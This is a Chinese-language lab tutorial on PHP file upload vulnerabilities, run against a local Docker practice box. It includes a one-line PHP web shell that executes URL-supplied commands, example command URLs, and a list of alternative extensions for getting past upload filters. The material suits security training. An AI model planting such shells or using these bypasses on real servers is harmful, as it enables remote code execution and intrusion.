介绍
这个实验着重于文件上传漏洞,这是 Web 应用程序中常见的安全问题。你将学习如何识别这些漏洞,理解它们的潜在影响,并探索利用它们的方法。这个实验提供实际操作的例子,使你能够更好地理解 Web 应用程序安全概念和防御措施。
理解文件上传漏洞
当 Web 应用程序未能正确验证上传的文件时,就会发生文件上传漏洞。这可能允许攻击者上传恶意文件,从而可能导致服务器上的远程代码执行(Remote Code Execution, RCE)。
让我们来研究一个典型的使用 move_uploaded_file() 函数的 PHP 文件上传实现:
<?php
// move_uploaded_file() 函数将上传的文件移动到新的位置
// 成功时返回 true,失败时返回 false
move_uploaded_file($file, $newloc);
参数:
$file: 要移动的已上传文件$newloc: 文件的目标路径
一个安全的实现应该包括适当的验证,如下例所示:
<?php
// 定义允许的图像扩展名
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件扩展名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 KB
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
echo "File type: " . $_FILES["file"]["type"] . "<br>";
echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
}
}
else
{
echo "Invalid file format";
}
?>
这段代码演示了几个重要的安全检查:
- 文件扩展名验证
- MIME 类型验证
- 文件大小限制
- 错误处理
如果没有这些验证,攻击者可能会上传在服务器上执行的恶意文件。
识别服务器端语言
在利用文件上传漏洞之前,至关重要的是识别 Web 应用程序使用的服务器端语言。此信息决定了要上传哪种类型的文件才能成功利用。
首先,让我们设置我们的实验环境:
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images
运行此命令后,验证环境是否可以在 http://localhost:82 访问。
识别服务器端语言的方法:
URL 文件扩展名:
.php扩展名表示 PHP.asp或.aspx扩展名表示 ASP.NET.jsp扩展名表示 Java Server Pages(JSP)
服务器标头(Server Headers):
- Microsoft IIS 通常运行 ASP.NET
- Apache 或 Nginx 通常运行 PHP
- Apache Tomcat 运行 JSP
你可以使用 Wappalyzer 浏览器扩展来自动检测 Web 服务器和编程语言:
在我们的实验环境中,你应该看到:
Web Server: Apache
Backend Language: PHP
上传 Web Shell
现在我们已经确定 PHP 是服务器端语言,我们将上传一个 PHP Web Shell,以便在服务器上执行命令。
可以在这里找到 Web Shell 的集合:
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
- 在
/home/labex/project目录中创建一个测试文件phpinfo.php:
<?php phpinfo(); ?>
上传文件:
- 访问 http://localhost:82/upload/example1.php
- 选择并上传你的 phpinfo.php 文件
验证上传:
- 访问 http://localhost:82/upload/images/phpinfo.php
- 你应该看到 PHP 配置信息页面
创建一个命令执行 Shell
shell.php:
<?php echo "Shell"; system($_GET['cmd']); ?>
上传并测试 Shell:
- 使用相同的方法上传 shell.php
- 访问 http://localhost:82/upload/images/shell.php
- 你可能会看到一个警告消息(没有参数时是预期的)
执行命令:
检查当前用户:http://localhost:82/upload/images/shell.php?cmd=whoami 预期输出:www-data
列出文件和系统信息:http://localhost:82/upload/images/shell.php?cmd=ls;uname%20-a 预期输出:目录列表和系统信息
注意:这个实验演示了基本的 Web Shell 功能。反向 Shell(Reverse Shell)和权限提升(Privilege Escalation)等高级主题将在更高级的课程中介绍。
绕过服务器限制(可选)
一些 Web 应用程序实施文件扩展名限制,以防止恶意文件上传。本节探讨绕过这些限制的方法。
当 .php 扩展名被阻止时,尝试可能可执行的替代 PHP 扩展名:
尝试使用
.php3扩展名上传:- 访问 http://localhost:82/upload/example2.php
- 上传 phpinfo.php3
- 访问 http://localhost:82/upload/images/phpinfo.php3
如果不成功,尝试
.phar扩展名:- 上传 phpinfo.phar
- 访问 http://localhost:82/upload/images/phpinfo.phar
常见的尝试绕过的扩展名:
- .php3
- .php4
- .php5
- .phar
- .phtml
注意:成功与否取决于服务器配置。不同的服务器可能允许不同的扩展名作为 PHP 代码执行。
总结
这个实验涵盖了文件上传漏洞的重要方面:
关键概念:
- 理解文件上传漏洞机制
- 识别服务器端编程语言
- 上传和执行 Web Shell
- 绕过文件扩展名限制
获得的技术技能:
- 服务器端语言检测
- Web Shell 的创建和部署
- 通过上传的文件执行命令
- 扩展名绕过技术
安全影响:
- 文件验证不足的影响
- 正确上传限制的重要性
- 服务器端执行风险
这些基础知识为你准备了后续课程中涵盖的高级 Web 应用程序安全主题。



